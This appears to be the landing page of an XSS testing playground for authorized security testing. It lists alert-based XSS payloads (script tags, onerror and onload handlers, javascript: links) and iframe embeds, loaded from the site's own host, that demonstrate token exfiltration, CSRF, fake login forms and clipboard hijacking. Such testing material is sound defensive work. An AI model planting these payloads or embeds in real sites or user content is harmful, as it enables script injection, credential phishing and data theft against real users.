XSS Playground
Copy-and-test XSS scenarios

About — Sangmook Kim
Frontend Engineer
I'm Sangmook Kim, a frontend developer. This site is not a product-specific PoC; it is an open playground for anyone who wants to verify XSS defenses in web services they own or are authorized to test.
Each scenario turns a realistic browser risk into a small test page: script tags, event-handler attributes, javascript: URLs, DOM sinks, embedded iframes, parent-window messaging, deceptive UI, and automatic requests.
Copy an HTML payload or iframe snippet from a scenario card or detail page, paste it into your own project, and check both the render result and the actual browser behavior.
Project intent
XSS defense is not finished by naming an HTML filter or adding one line of filtering. You need to see what the browser actually allows across iframes, messages, permission prompts, automatic requests, and deceptive UI.
This site is not an attack automation tool. It is a repeatable checklist for developers and security teams testing rendering policies in services they own or are authorized to assess.
Every snippet is designed to be copied into a dev or staging environment. If an HTML payload executes or an iframe scenario works, it is a signal to investigate; if it is blocked, you can record which policy stopped it.
How to use
- Open a scenario page.
- Copy the HTML payload or iframe code from the home card or detail page.
- Paste it into your own service (editor, notes, wiki…) and save.
- Check rendering, sandbox behavior, CSP, postMessage validation, and the actual browser behavior.
XSS threat map
Based on the Hacker101 CTF XSS Playground categories and PortSwigger Web Security Academy guidance, this project groups the risks you should test into these areas.
Request data such as query strings, search terms, or error messages is immediately reflected into HTML without the right output encoding.
Saved input such as comments, profiles, or document bodies is later rendered for other users as active content.
Client-side code reads untrusted values from location, hash, postMessage, or storage and writes them into unsafe sinks like innerHTML or string-based timers.
Event handlers, SVG/MathML, javascript: URLs, encodings, and template syntax can bypass weak blacklists or incomplete CSP rules.
Once script runs, it can act with the user's privileges, perform requests, manipulate the page, and access data the user can access.
iframes, overlays, notifications, clipboard hooks, and postMessage can trick users into entering secrets or leak observable data out of the page.
Scenarios
Attack scenarios grouped by category. Copy an HTML payload or iframe embed directly from a card, or open a detail page for deeper testing.
HTML Injection
Check whether a raw script tag executes when user input is parsed as an HTML document.
<script>alert("xss-playground")</script>Check whether on* attributes such as img onerror or details ontoggle survive filtering and execute.
<img src=x onerror="alert('xss-playground')">Check whether SVG, MathML namespaces, and event attributes bypass weak filters.
<svg onload="alert('xss-playground')" xmlns="http://www.w3.org/2000/svg"></svg>DOM XSS
Check whether location, hash, postMessage, or other untrusted values reach unsafe sinks such as innerHTML.
<img src=x onerror="alert('dom-xss')">URL / Protocol
Check whether javascript: remains in URL attributes such as href or action and executes on user interaction.
<a href="javascript:alert('xss-playground')">click me</a>Navigation
Replace the entire parent window from inside an iframe. The classic test for sandbox allow-top-navigation.
<iframe src="https://xss-playground.com/embed/top-redirect?lang=en" title="XSS Playground - top.location forced redirect" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Communication
Send forged messages to the parent via parent.postMessage. If the parent skips event.origin validation, it can trust attacker-crafted payloads.
<iframe src="https://xss-playground.com/embed/post-message?lang=en" title="XSS Playground - postMessage spoofing" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Submit a form to a third-party endpoint without user input.
<iframe src="https://xss-playground.com/embed/form-auto-submit?lang=en" title="XSS Playground - Hidden form auto-submit (CSRF-style)" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Exfiltrate everything observable inside the iframe to an attacker server.
<iframe src="https://xss-playground.com/embed/beacon-exfil?lang=en" title="XSS Playground - sendBeacon / fetch exfiltration" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
The oldest CSRF: img.src to a state-changing GET endpoint sends cookies along.
<iframe src="https://xss-playground.com/embed/csrf-image?lang=en" title="XSS Playground - img tag GET request CSRF" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Exfiltration
Multi-angle attempts to extract JWT, in-flight network, or storage from the parent. See exactly what SOP blocks and what slips through.
<iframe src="https://xss-playground.com/embed/token-exfil?lang=en" title="XSS Playground - Parent token / network exfiltration attempts" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Phishing
Show a form that looks identical to the parent site's login UI and exfiltrate the credentials.
<iframe src="https://xss-playground.com/embed/phishing-form?lang=en" title="XSS Playground - Fake login form (phishing)" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Cover the parent page with a fake but pixel-perfect UI rendered inside the iframe.
<iframe src="https://xss-playground.com/embed/fullscreen-overlay?lang=en" title="XSS Playground - Fullscreen overlay impersonation" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Delayed / Chained
Countdown via URL params, then auto-fire an action. Used to evade immediate user suspicion.
<iframe src="https://xss-playground.com/embed/delayed-attack?lang=en" title="XSS Playground - Delayed / auto-fire payload" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Fullscreen fake UI → credential capture → top redirect to the real site to cover tracks.
<iframe src="https://xss-playground.com/embed/chained-attack?lang=en" title="XSS Playground - Chained attack (phishing + fullscreen + redirect)" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Annoyance
Force a file download without any user click.
<iframe src="https://xss-playground.com/embed/auto-download?lang=en" title="XSS Playground - Auto-download trigger" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Open new windows. Same-origin popups can host arbitrary phishing UI.
<iframe src="https://xss-playground.com/embed/popup-spam?lang=en" title="XSS Playground - popup / window.open spam" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Autoplay sound video, call requestFullscreen, and observe what gets through.
<iframe src="https://xss-playground.com/embed/autoplay-media?lang=en" title="XSS Playground - Autoplay media / forced fullscreen" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Trigger Notification.requestPermission so the attacker domain can later push notifications.
<iframe src="https://xss-playground.com/embed/notification-permission?lang=en" title="XSS Playground - Notification permission / push hijack" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Intercept the copy event and overwrite clipboard contents.
<iframe src="https://xss-playground.com/embed/clipboard-hijack?lang=en" title="XSS Playground - Clipboard hijack" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Push a flood of history entries to wreck the parent's back-button behavior.
<iframe src="https://xss-playground.com/embed/history-pollution?lang=en" title="XSS Playground - history.pushState pollution" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Probe
Try to reach parent.document, parent.localStorage, parent cookies — confirm what SOP actually blocks.
<iframe src="https://xss-playground.com/embed/sop-probe?lang=en" title="XSS Playground - Same-Origin Policy probe (what is blocked)" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Fire a wide range of postMessage payloads at the parent and observe responses or side effects.
<iframe src="https://xss-playground.com/embed/parent-message-listener-probe?lang=en" title="XSS Playground - Parent message-listener fingerprinting" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Contributing (Issues / PRs)
This project is source-available, not open-source. The code is public for review and contributions, but forking the project to run a separate deployment, mirror, or commercial service is not permitted.
Ideas, bug reports, translation fixes, and new scenarios are welcome. Open an Issue first; if the change is accepted in principle you can be added as a collaborator and push a branch directly to this repository instead of a long-lived fork.
Full policy lives in LICENSE and CONTRIBUTING.md.